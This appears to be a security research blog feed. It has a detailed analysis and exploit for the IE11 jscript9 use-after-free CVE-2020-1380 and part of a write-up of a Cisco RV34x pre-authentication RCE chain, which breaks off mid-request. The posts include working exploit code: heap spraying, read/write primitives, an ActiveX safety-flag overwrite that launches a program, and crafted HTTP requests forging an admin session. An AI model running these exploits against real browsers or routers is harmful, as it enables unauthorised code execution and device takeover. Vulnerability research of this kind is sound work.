f undefined

ie CVE-2020-1380 UAF 漏洞分析及利用

Sun, 15 May 2022 17:55:00 +0800

f0cus7 2022-05-15 17:55 江苏

ie CVE-2020-1380是2020年抓到的一个在野利用的0 day，且此漏洞目前在野外利用不少。

ie的版本是11.103.10586.0，在https://msdn.itellyou.cn/上下的系统是Windows 10 (Multiple Editions), Version 1511 (Updated Feb 2016) (x86) - DVD (English) ，对应的windows版本为Version 1511(OS Build 10586.104)，该系统安装后的版本即为此次分析的ie浏览器版本，漏洞分析是在x86系统上进行的。

version

基础知识--custom heap 堆

在ie 9之后的jscript9引擎中，为了阻止OOB漏洞的利用，ie把一些重点对象单独拿出来放到一个堆中来进行管理，而不是直使用进程堆。因此在jscript9中，堆数据可以分为两部分：

一部分是进程堆（Process Heap、CRT Heap）。
一部分是自定义堆（Custom Heap），普通的Array对象、typed array（view）对象、string对象都是分配在custom Heap里的。

一个有意思的点是var fa = new Float32Array(8)的代码，typed array对象的数据结构会保存在custom heap当中，然而它的fa.buffer(ArrayBuffer)的数据却是从进程堆中申请出来的。下面是JavascriptArrayBuffer::Create的反汇编代码，可以看到ArrayBuffer的堆分配函数是CRT函数malloc。

struct Js::JavascriptArrayBuffer *__fastcall Js::JavascriptArrayBuffer::Create(
        unsigned int a1,
        struct Js::DynamicType *a2)
{
  ...
  Js::ArrayBuffer::ArrayBuffer(v5, a1, a2, _malloc);
  *(_DWORD *)v5 = &Js::JavascriptArrayBuffer::`vftable';
  return v5;
}

还需要知道一点的是当在自定义堆中申请大的对象时，自定义堆的数据管理结构是LargeHeapBlock，该对象构成了ie自定义堆的基础，存储有自定义堆上分配的大型堆空间的管理信息。LargeHeapBlock对象存储在进程堆中的。

LargeHeapBlock的数据结构如下所示，偏移量0x4处的指针指向IE自定义堆中的数据，对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况，该指针直接指向了此时分配的一个Array对象。0x14指向的是Allocated Block Count，即当前已经分配的Block，如果该字段被置为0，则该对象所指向的自定义堆会在垃圾回收的过程中被释放。

LargeHeapBlock_struct

漏洞分析

CVE-2020-1380是IE11上jscript9引擎的一个UAF漏洞，其成因是Array.prototype.push的副作用导致JIT引擎数据类型推导错误。

趋势科技给出的poc代码如下：

var ab = new ArrayBuffer(0x8c);
var fa = new Float32Array(ab);
 
var obj = {};
obj.valueOf = function() {
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    var start = Date.now();
    while (Date.now() - start < 200) {}
 
    return 0
};
 
function opt(a, b, c, d) {
    a = 1;
    arguments.push = Array.prototype.push;
    arguments.length = 0;
    arguments.push(d);
 
    if (c) {
        a = 2;
    }
 
    b[0] = a;
};
 
for (var i = 0; i < 0x100000; i++) {
    opt(1, fa, 1, 1);
}
 
opt(1, fa, 0, obj);

先开启页堆hpa，poc跑一遍，看看出啥问题。

"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" -i iexplore.exe +hpa

崩溃现场如下。ftsp是将浮点寄存器st0中的值存储到对应内存中的意思，崩溃现场即是将0.0存储到地址11d81f70 中。

This exception may be expected and handled.
eax=11d81f70 ebx=1197d480 ecx=00000000 edx=00000116 esi=0de3bad0 edi=1ff61e00
eip=5d046083 esp=07cbc844 ebp=07cbc844 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010247
jscript9!Js::JavascriptConversion::ToFloat_Helper+0x13:
5d046083 d918            fstp    dword ptr [eax]      ds:0023:11d81f70=????????
0:008> r st0
st0= 0.00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e+0000 (0:0000:0000000000000000)

崩溃的成因是opt函数经过优化编译过后，b[0]=a所对应的代码会认为a一直都是浮点数，不会有side effect，因此直接调用ToFloat_Helper将a转化成浮点数并赋值给b[0]。但是实际上在前面的代码中arguments.push会改变对象arguments[0]（即对象a的类型），导致在b[0]=a赋值的时候可以触发回调函数。但是此时代码中缺少了对a的类型的检查，导致漏洞的形成。

在poc中，触发漏洞时对象a的回调函数是调用postMessage将ArrayBuffer传递给worker，postMessage将数据传递给worker的同时，本线程就会失去对当前ArrayBuffer的所属，该ArrayBuffer就会被释放，但是后续在opt函数中b[0]=a，仍然将对象a返回值的0.0赋值给b[0]，导致形成UAF漏洞。此处也是因为我们开启了页堆，所以将0.0当写入到已释放的内存ArrayBuffer 0x11d81f70的时候就报错了。

漏洞分析部分本应还包含代码层面的分析的，但是苦于对js9架构机制不太熟，所以只能从原理层面对漏洞成因进行分析，后续有能力再从代码层面进一步分析。

漏洞利用

上面的漏洞我们得到了一个UAF漏洞，即在回调函数中我们释放掉了ArrayBuffer数据内存，同时后续在优化编译函数中仍然可以对该内存进行读写操作。

首先要搞清楚的是我们使用什么来占用被释放掉的ArrayBuffer数据内存。在前面的基础知识中已经阐述过，ArrayBuffer数据内存是由进程堆分配的，LargeHeapBlock数据结构也是由进程堆分配的，因此如果我们利用漏洞释放掉ArrayBuffer数据内存后，再利用LargeHeapBlock占用该内存，后续再对ArrayBuffer数据进行读写的时候，实质上就是对LargeHeapBlock数据结构进行读写。

这里要搞清楚的是LargeHeapBlock数据结构大小是多少，很多文章都说该数据结构大小是根据申请的内存大小动态变化的，当申请new Array((0x1000 - 0x20) / 4)即0x1000大小的Array的时候，LargeHeapBlock对应为new ArrayBuffer(0x8c)所对应的内存，具体可以动态调试下断点来进一步确认，断点如所示：

bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92

所对应的代码如下所示，LargeHeapBlock::New的返回值即是LargeHeapBlock堆块。

struct LargeHeapBlock *__thiscall LargeHeapBucket::AddLargeHeapBlock(LargeHeapBucket *this, unsigned int a2)
{
   ...
    lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + 8), &v13, &v12);
    if ( lpAddress )
    {
      v6 = LargeHeapBlock::New(
             (char *)v12,
             (((v13 << 12) - a2 - 16) >> 10) + 1,
             *((_BYTE *)this + 28) != 0 ? this : 0,
             v9,
             v10);

此时问题就变成了对LargeHeapBlock数据结构进行读写，对何处进行读写能够继续进一步的利用。答案是覆盖LargeHeapBlock中0x14偏移的Allocated Block Count字段，将它覆盖为0，这样后续如果触发垃圾回收机制，该LargeHeapBlock结构所管理的堆内存会被认为是被释放的，后面就会被继续申请与利用，从而就可以形成重叠堆快。

上述思路所形成的代码如下所示。opt函数中b[5] = a时会触发obj的valueOf函数，该函数首先会释放ab，sleep一段时间等待堆内存被释放，然后堆喷LargeHeapBlock结构去申请大内存重新占有该ab内存，因为valueOf函数会返回0，最终会执行b[5] = 0，此时ab已经被覆盖为LargeHeapBlock结构，因此会将LargeHeapBlock结构的Allocated Block Count修改为0。

var ARRAY_LENGTH = 0x500
var b = new Array(ARRAY_LENGTH);
var c = new Array(ARRAY_LENGTH); 
var obj = {};
obj.valueOf = function() {
    // free the Float32Array ArrayBuffer
    worker = new Worker('worker.js');
    worker.postMessage(ab, [ab]);
    worker.terminate();
    worker = null;
 
    // sleep to wait system free the ArrayBuffer
    var start = Date.now();
    while (Date.now() - start < 300) {}
    
    // spray LargeHeapBlock structure to occupy the freed ArrayBuffer
    for (var i = 0; i < ARRAY_LENGTH; ++i) {
        b[i] = new Array((0x1000 - 0x20) / 4);
        for (var j = 0; j < b[i].length; ++j)
            b[i][j] = 0x666;
    }
 
    return 0;
};
function opt(a, b, c, d) {
    a = 1;
    arguments.push = Array.prototype.push;
    arguments.length = 0;
    arguments.push(d);
 
    if (c) {
        a = 2;
    }
 
    // now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock's Allocated Block Count to 0
    b[5] = a;
};

后续调用CollectGarbage手动触发垃圾回收，此时会认为被修改的LargeHeapBlock结构所对应数组b中的某个数组内存是被释放了的。此时再申请大内存，系统会再次分配该内存，此时数组b和数组c就有某个数组就会形成重叠堆块，遍历两个数组，找到重叠的对象内存。

// gc to manual free the LargeHeapBlock memory.
CollectGarbage();
var index1 = -1;
var index2 = -1;
// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array
for (var i = 0; i < ARRAY_LENGTH; ++i) {
    c[i] = new Array((0x1000 - 0x20) / 4);
    for (var j = 0; j < c[i].length; ++j)
        c[i][j] = 0x888;
}
// find the overlap heap in array b
for (var i = 0; i < b.length; i += 1) {
    if (b[i][0] == 0x888) {
        index1 = i;
        b[i][0] = 0x666;
        break;
    }
}
 
// find the overlap heap in array c
for (var i = 0; i < c.length; i += 1) {
    if (c[i][0] == 0x666) {
        index2 = i;
        break;
    }
}

找到重叠的对象后，将其中某个数组修改为对象数组，这样就形成整数数组与对象数组指向同一片内存，很简单的就得到了addr_of以及fake_obj原语：

// transition the array type 
c[index2][0] = {};
// now we can get addr_of and fake_obj primitive
var int_arr = b[index1];
var obj_arr = c[index2];
 
function addr_of(obj) {
    obj_arr[0] = obj;
    return int_arr[0];
}
function fake_obj(addr) {
    int_arr[0] = addr;
    return obj_arr[0];
}

有了addr_of以及fake_obj原语，接着就是构造aar以及aaw原语，原语的构造方法是伪造DataView结构体，通过修改DataView的内存指针来实现任意地址读写，详细过程可以参考Edge Type Confusion利用：从type confused到内存读写。

DataView对应的32位结构体如下所示，其中偏移为0x1c的是我们要填写任意地址读写的字段。

DataView:
+0x0  : vtable;
+0x4  : TypeObject;
+0x8  : 0;
+0xc  : 0;
+0x10 : JavascriptArrayBuffer;
+0x14 : 0;
+0x18 : size;
+0x1c : Buffer;

还需要关注的三个字段是vtable、TypeObject以及JavascriptArrayBuffer字段。

当我们利用伪造的fake_dv进行任意地址读写的时候，它会调用vtable中的虚函数，由于我们不知道虚函数表的地址，因此需要方法来绕过。方法是不直接用fake_dv.getUint32这样的形式来进行调用，而是用DataView.prototype.getUint32.call(fake_dv, 0, true)的形式来调用，这样就不需要从fake_dv对象的vtable字段来获取函数地址。

第二个要关注的字段是TypeObject指针，它里面的typeId要合理有效，JavascriptLibrary地址要为有效的内存地址。

TypeObject:
+0x0  : typeId;
+0x4  : JavascriptLibrary;
+0x8  : prototype;
+0xc  : Js::RecyclableObject::DefaultEntryPoint;
+0x10 : 0;
+0x14 : 0;
+0x18 : SimplePathTypeHandler;
+0x1c : value;

第三个要关注的字段是JavascriptArrayBuffer，它所指向的内存地址某位是用来标记是否是isDetached。如果被置位，说明内存已被释放不能再使用，所以要将该字段置0。

最终构造fake_dv代码如下。

// fake DataView struct container
var container = new Array(
    0,     // field 0: fake vtable
    0,      // field 1: TypeObject pointer
    0,      // field 2: Inherited data from Dynamic Object
    0,      // field 3: Inherited data from Dynamic Object
    0,      // field 4: buffer size
    0,      // field 5: ArrayBuffer Object pointer
    0,      // field 6: byteoffset
    0       // field 7: target addr
)
var container_addr = addr_of(container);
var fake_dv_addr = container_addr + 0x38;
container[0] = 46                   // fake vtable, also used as TypeId in TypeObject Pointer
container[1] = fake_dv_addr;        // fake TypeObject Pointer point to fake_dv_addr, also as fake TypeObject JavascriptLibrary pointer
container[2] = 0;                   // the isDetached bit should be 0
container[4] = fake_dv_addr + 8;    // fake ArrayBuffer Object pointer, the isDetached bit should be 0
container[6] = 0x300;               // fake size
container[7] = fake_dv_addr;        // arbitrary pointer
// build fake DataView, now we can aar and aaw with this fake_dv
var fake_dv = fake_obj(fake_dv_addr);

有了fake_dv以后，aar以及aaw就很简单了，修改DataView的Buffer字段即可。

// aar primitive
function read32(addr) {
    container[7] = addr;
    var val = DataView.prototype.getUint32.call(fake_dv, 0, true);
    return val;
}
function read8(addr) {
    container[7] = addr;
    var val = DataView.prototype.getUint8.call(fake_dv, 0, true);
    return val;
}
function read16(addr) {
    container[7] = addr;
    var val = DataView.prototype.getUint16.call(fake_dv, 0, true);
    return val;
}
// aaw primitive
function write8(addr, val) {
    container[7] = addr;
    DataView.prototype.setUint8.call(fake_dv, 0, val, true);
}
function write32(addr, val) {
    container[7] = addr;
    DataView.prototype.setUint32.call(fake_dv, 0, val, true);
}
function write_string(addr, s) {
    var bytes = [];
    var i = 0;
    for ( ; i < s.length; ++ i ) {
        bytes[i] = s.charCodeAt(i);
    }
    bytes[i] = 0;
    write_bytes( addr, bytes );
}
function write_bytes(addr, bytes) {
    for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
        var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
                    ((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
                            
        write32( addr + i, value );
    }
            
    for ( ; i < bytes.length; ++ i ) {
        write8( addr + i, bytes[i] );
    }
}

有了任意地址读写原语，最后就是任意代码执行，根据[原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记，目前ie从aar以及aaw到任意代码执行主要有三种方式：

GodMode：利用任意地址读写原语修改内存中的GodMode字段，即可使用ActiveX调用任意代码与程序。
虚表劫持：劫持Js::JavascriptOperators::HasItem函数内的一处虚表调用为WinExec来调用任意代码。
覆盖栈上返回地址：覆盖Js::JavascriptString::EntrySplit和Js::JavascriptString::EntrySlice函数的返回地址以劫持程序执行流。

我这里只用了第一种方式，因此解释下第一种方式的利用原理，其余两种后续漏洞分析有机会再分析。

在ie中，决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志，即ScriptEngine对象中的SafetyOption标志，如果通过任意地址读写将此标志置为0，那么就能开启实例化和运行不安全ActiveX控件的能力。详细原理可以查看Exploit IE Using Scriptable ActiveX Controls.pdf

在Internet Explorer 11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖，以此缓解该技术的利用。但是通过查看Windows 10当前jscript9.dll版本中的ScriptEngine::CanCreateObject以及ScriptEngine::CanObjectRun函数发现负责保护hash的ScriptEngine::GetSafetyOptions函数已经不见了，因此SafetyOption标志将不再受到保护，写入单个空字节就能实现利用的技术又可行了。

CanObjectRun

最终执行calc的代码如下所示：

// leak address
// get dataview vtable
var dv_vtable_addr = read32(addr_of(dv))
// get jscript9 module base
var jscript9_base_addr = get_module_base(dv_vtable_addr);
alert("[+] jscript9 base addr: "+hex(jscript9_base_addr));
// get kernel32 module base
var kernel32_base_addr = get_module_base_from_IAT(jscript9_base_addr, "KERNEL32");
alert("[+] kernel32 base addr: "+hex(kernel32_base_addr));
// get winexec addr
// var winexec_addr = get_proc_address( kernel32_base_addr, 'WinExec' );
// alert("[+] winexec func addr: "+hex(winexec_addr));
function run_shellcode() {
    var shell = new ActiveXObject("WScript.shell");
    shell.Exec("calc.exe");
    // shell.Exec("notepad.exe");
}
// change the safe_mode flag
var leak_activex_addr = addr_of(ActiveXObject);
var script_engine = read32(read32(leak_activex_addr + 0x1c) + 0x04);
var safe_mode = script_engine + 0x1F4; 
// turn on god mode
write32(safe_mode, 0);
run_shellcode();

弹出计算器。

calc

当然，权限是AppContainer，后面还要过沙箱。

privilege

总结

这个漏洞是2020年抓到的一个在野利用的0 day，通过分析它进一步掌握了ie漏洞的利用方法，同时这个漏洞目前在野外利用还是不少。

64位系统中的利用大同小异，结构体指针字段加长罢了。

References

[1] 趋势科技: https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[2] Edge Type Confusion利用：从type confused到内存读写: https://www.anquanke.com/post/id/98774
[3] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[4] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf
[5] CVE-2020-1380: Analysis of Recently Fixed IE Zero-Day: https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html
[6] Internet Explorer and Windows zero-day exploits used in Operation PowerFall: https://securelist.com/ie-and-windows-zero-day-operation-powerfall/97976/
[7] CVE-2020-1380: Internet Explorer JScript9 Use-after-Free: https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1380.html
[8] [原创]IE JScript9.dll UAF漏洞(CVE-2020-1380)利用复现笔记: https://bbs.pediy.com/thread-263885.htm
[9] IE浏览器0day漏洞CVE-2020-1380的分析、利用和检测: https://www.freebuf.com/vuls/283182.html
[10] Edge Type Confusion利用：从type confused到内存读写: https://www.anquanke.com/post/id/98774
[11] Exploit IE Using Scriptable ActiveX Controls.pdf: https://github.com/jvazquez-r7/explib2/blob/modify/Exploit%20IE%20Using%20Scriptable%20ActiveX%20Controls.pdf

阅读原文

跳转微信打开

Pwn2Own Austin 2021 Cisco RV34x RCE漏洞分析

Fri, 22 Apr 2022 10:36:00 +0800

原创 f0cus7 2022-04-22 10:36

在经历了多次修补之后，在Pwn2Own Austin 2021上Cisco RV34x系列路由器仍然被IoT Inspector Research Lab攻破

去年一整年Cisco RV34x系列曝出了一系列漏洞，在经历了多次修补之后，在年底的Pwn2Own Austin 2021上该系列路由器仍然被IoT Inspector Research Lab攻破了，具体来说是三个逻辑漏洞结合实现了RCE，本文将基于该团队发布的wp进行复现分析。

漏洞简介

漏洞公告信息如下，影响的版本是1.0.03.24之前，受影响的产品除了RV34x之外，还包括RV160、RV160W、RV260以及RV260W系列。

Affected vendor & product
Vendor Advisory
Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/)
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html
Vulnerable version    1.0.03.24 and earlier
Fixed version    1.0.03.26
CVE IDs    CVE-2022-20705
CVE-2022-20708
CVE-2022-20709
CVE-2022-20711
Impact    10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Credit    Q. Kaiser, IoT Inspector Research Lab

无条件RCE的实现是由三个漏洞一起构成的，包括：

任意文件上传漏洞；
任意文件移动漏洞；
认证后的命令注入漏洞。

通过前两个漏洞实现了有效session的伪造，利用伪造的session具备了访问认证后页面的能力，后续再利用认证后命令注入漏洞实现rce。

漏洞分析

此次的分析是基于固件版本1.0.03.24进行的，下载固件使用binwalk进行解压，刷新到路由器当中以方便后续动态调试验证。

此次漏洞分析的基础有两个，一个是要能看懂nginx+uwsgi架构组成的web框架配置，尤其是nginx配置文件的了解；一个是要能知道cisco ConfD+yang实现的后端数据中心服务。前者可以通过搜索nginx+uwsgi 配置实现，特别是需要nginx上传模块的配置，可参考Nginx-upload-module中文文档；后者资料不多，需要啃官方文档，可以先了解netconf+yang的网络管理模型，然后再查看官方文档ConfD User Guide来掌握。

任意文件上传漏洞

认证前任意文件上传漏洞以及任意文件移动漏洞认证前的功能都是因为nginx的不正确配置所导致的，先来看任意文件上传漏洞。

nginx的主配置文件是/etc/nginx/nginx.conf，从它的内容当中可以看到对应的用户权限是www-data，

# /etc/nginx/nginx.conf
user www-data;
worker_processes  4;
error_log /dev/null;
events {
    worker_connections  1024;
}
http {
    access_log off;
    #error_log /var/log/nginx/error.log  error;
    upstream jsonrpc {
        server 127.0.0.1:9000;
    }
    upstream rest {
        server 127.0.0.1:8008;
    }
    # For websocket proxy server
    include /var/nginx/conf.d/proxy.websocket.conf;
    include /var/nginx/sites-enabled/*;
}

加载的配置是/var/nginx/conf.d/proxy.websocket.conf以及/var/nginx/sites-enabled/*。

/usr/bin # ls /var/nginx/sites-enabled/
web-rest-lan  web-wan

可以在/etc/nginx/sites-available/web-rest-lan中看到它加载了lan.rest.conf以及web.upload.conf这两个配置文件。

# /etc/nginx/sites-available/web-rest-lan
...
server {
    server_name  localhost:443;
    #mapping to Firewall->Basic Settings->LAN/VPN Web Management, it will generate by ucicfg
    ...
    include /var/nginx/conf.d/lan.rest.conf;
    ...
    include /var/nginx/conf.d/web.upload.conf;
    ...
}

nginx的所有模块的配置都存储在/etc/nginx/conf.d当中，其中与lan.rest.conf对应的是rest.url.conf，其内容如下：

# /etc/nginx/conf.d/rest.url.conf: 13
location /api/operations/ciscosb-file:form-file-upload {
    set $deny 1;
    if ($http_authorization != "") {
        set $deny "0";
    }
    if ($deny = "1") {
        return 403;
    }
    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

结合proxy.conf内容可以看到，当请求头中的Authorization不为空的时候，此时$deny会被设置为0，并调用upload模块，存储的路径是/tmp/upload。因为upload_store没有配置level，所以nginx会默认将上传的数据按/tmp/upload/0000000001数字命名的方式顺序存储。

# etc/nginx/conf.d/proxy.conf，
proxy_http_version 1.1;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header Authorization $http_authorization;
proxy_set_header Accept-Encoding "";
proxy_set_header Connection "";
proxy_ssl_session_reuse off;
server_name_in_redirect off;

从上面的配置可以看出，在调用/form-file-upload之前，nginx已经将用户上传的数据存储到了/tmp/upload当中，同时存储的名字又是可以预测的，后续它还会调用upload_set_form_field等方法将表单中的字段进行替换，并最终调用/form-file-upload。

在这里调不调用/form-file-upload我们并不关心，因为在/form-file-upload之前我们已经可以实现任意文件上传的功能了。具体来说是先通过在HTTP请求包中加入一个Authorization头，这样绕过了认证触发了上传模块；而后我们上传的数据就会被存储到/tmp/upload当中，同时名字也可以可以遍历得到。

利用该漏洞最终实现的效果就是可以无条件的在/tmp/upload目录当中上传任意文件，其文件名类似为/tmp/upload/0000000001，数字由上传文件的序列决定，可以通过遍历实现。

发送请求包如下所示：

POST /api/operations/ciscosb-file:form-file-upload HTTP/1.1
Host: 192.168.1.1
Authorization: 123=456
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 854
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
Optional-Header: header-value
Sec-Ch-Ua-Mobile: ?0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtdH1UtBT6GPZrcM
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="sessionid"
2727f44696347c5e1218c78a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="pathparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="file.path"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="fileparam"
a
------WebKitFormBoundaryBtdH1UtBT6GPZrcM
Content-Disposition: form-data; name="websession"; filename="a.xml"
Content-Type: text/xml
{
  "max-count":1,
  "cisco":{
    "4a04cd411434cea78f2d81b692dfa4a41aea9e4b15536fb933fab11df8ed414a":{
      "user":"cisco",
      "group":"admin",
      "time":315156,
      "access":1,
      "timeout":9999,
      "leasetime":15275860
    }
  }
}
------WebKitFormBoundaryBtdH1UtBT6GPZrcM--

任意文件移动漏洞

第二个漏洞存是任意文件移动漏洞，可以实现任意文件移动。漏洞的原理是nginx未做权限限制同时后端也没有对权限进行认证，导致权限绕过；后端在实现过程中没有对输入校验导致任意文件移动。

下面来对该漏洞进行详细的分析。

先是权限绕过漏洞分析，/etc/nginx/conf.d/web.upload.conf内容如下，可以看到nginx对/upload请求进行了session的验证（权限的判定），但它却没有对/form-file-upload请求进行权限校验，用户可以不需要任何权限直接请求/form-file-upload。

# /etc/nginx/conf.d/web.upload.conf
location /form-file-upload {
    include uwsgi_params;
    proxy_buffering off;
    uwsgi_modifier1 9;
    uwsgi_pass 127.0.0.1:9003;
    uwsgi_read_timeout 3600;
    uwsgi_send_timeout 3600;
}
location /upload {
    set $deny 1;
        if (-f /tmp/websession/token/$cookie_sessionid) {
                set $deny "0";
        }
        if ($deny = "1") {
                return 403;
        }
    upload_pass /form-file-upload;
    upload_store /tmp/upload;
    upload_store_access user:rw group:rw all:rw;
    upload_set_form_field $upload_field_name.name "$upload_file_name";
    upload_set_form_field $upload_field_name.content_type "$upload_content_type";
    upload_set_form_field $upload_field_name.path "$upload_tmp_path";
    upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
    upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
    upload_pass_form_field "^.*$";
    upload_cleanup 400 404 499 500-505;
    upload_resumable on;
}

去看/form-file-upload的后端处理程序，前面说过后端是使用uwsgi实现的，其服务启动的命令如下：

# usr/bin/uwsgi-launcher: 5
#!/bin/sh /etc/rc.common
start() {
    uwsgi -m --ini /etc/uwsgi/jsonrpc.ini &
    uwsgi -m --ini /etc/uwsgi/blockpage.ini &
    uwsgi -m --ini /etc/uwsgi/upload.ini &
}

可以看到/form-file-upload对应的uwsgi_pass目的地是127.0.0.1:9003。对应的是uwsgi启动的服务，配置文件的路径是/etc/uswgi/upload.ini，从该文件的内容中可以看到，对应的后端处理程序是/www/cgi-bin/upload.cgi。

# /etc/uswgi/upload.ini
[uwsgi]
plugins = cgi
workers = 1
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9003
buffer-size=4096
cgi = /www/cgi-bin/upload.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 300
ignore-sigpipe = true

从上面的描述中我们可以知道现在具备的能力是无条件访问/www/cgi-bin/upload.cgi的能力，下面逆向/www/cgi-bin/upload.cgi，来看是如何实现任意文件移动的。

将upload.cgi拖入到IDA当中，可以看到它先在环境变量中获取数据，然后调用multipart-parser-c库来解析上传的数据包，解析完成后调用prepare_file来预处理上传的文件。

int __fastcall main(int a1, char **a2, char **a3)
{
  ...
  content_length_ptr = (int)getenv("CONTENT_LENGTH");
  content_type_ptr = getenv("CONTENT_TYPE");
  request_uri_ptr = getenv("REQUEST_URI");
  http_cookie_ptr = getenv("HTTP_COOKIE");
  ...
  callbacks.on_header_value = read_header_name;
  callbacks.on_part_data = read_header_value;
  json_obj = json_object_new_object();
  ...
  parser = multipart_parser_init(boundary_ptr, &callbacks);
  length = strlen(content_buf_ptr);
  multipart_parser_execute(parser, content_buf_ptr, length);
  multipart_parser_free(parser);
  jsonutil_get_string(json_obj, &filepath_ptr, "\"file.path\"", -1);
  jsonutil_get_string(json_obj, &filename_ptr, "\"filename\"", -1);
  jsonutil_get_string(json_obj, &pathparam_ptr, "\"pathparam\"", -1);
  jsonutil_get_string(json_obj, &fileparam_ptr, "\"fileparam\"", -1);
  jsonutil_get_string(json_obj, &destination_ptr, "\"destination\"", -1);
  jsonutil_get_string(json_obj, &option_ptr, "\"option\"", -1);
  jsonutil_get_string(json_obj, &cert_name_ptr, "\"cert_name\"", -1);
  jsonutil_get_string(json_obj, &cert_type_ptr, "\"cert_type\"", -1);
  jsonutil_get_string(json_obj, &password_ptr, "\"password\"", -1);
  ...
  local_fileparam_ptr = StrBufToStr(local_fileparam_buf);
  ret_code = prepare_file(pathparam_ptr, filepath_ptr, local_fileparam_ptr);

跟进去prepare_file函数，可以看到该函数会进行文件移动操作，参数file.path当作源文件路径，根据pathparam的类型设置目的文件夹并与fileparam当做目的文件名进行拼接最终作为目的路径。实现的方式是调用system，参数是"mv -f %s %s/%s"，可以看到目的文件名进行了参数的校验，源文件只判断了文件是否存在，因此这个地方该参数使得我们可以移动任意的文件，当类型我们设置为Portal的时候，目的文件夹是

类型是Portal的时候，会把目的文件夹设置为/tmp/www，因为我们最终可以实现的效果是可以将任意文件移动到/tmp/www目录文件夹下。

int __fastcall prepare_file(const char *type, const char *src, const char *dst)
{
  ...
  if ( !strcmp(type, "Firmware") )
  {
    target_dir = "/tmp/firmware";
  }
  ...
  else
  {
    if ( strcmp(type, "Portal") )
      return -1;
    target_dir = "/tmp/www";
  }
  if ( !is_file_exist(src) )
    return -2;
  if ( strlen(src) > 0x80 || strlen(dst) > 0x80 )
    return -3;
  if ( match_regex("^[a-zA-Z0-9_.-]*$", dst) )
    return -4;
  sprintf(s, "mv -f %s %s/%s", src, target_dir, dst);
  debug("cmd=%s", s);
  ...
  ret_code = system(s);

利用该漏洞最直接的效果就是可以将一些敏感文件移动到/tmp/www目录下然后访问该路径，实现敏感信息泄露，更深层次的利用在后续分析中说明。

下面的请求包可以实现将/tmp/upload/0000000001移动到/tmp/www/bak

POST /form-file-upload HTTP/1.1
Host: 192.168.1.1
Cookie: selected_language=English; session_timeout=false; sessionid=2727f44696347c5e1218c78a2471f1c48ab9e6f4a9c3b3b6ab1db9a1365fd620; user=cisco; blinking=1; config-modified=1; disable-startup=0; redirect-admin=0; group=admin; attributes=RW; ru=0; bootfail=0; model_info=RV345; fwver=1.0.03.24; current-page=Admin_Config_Management
Content-Length: 626
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: application/json, text/plain, */*
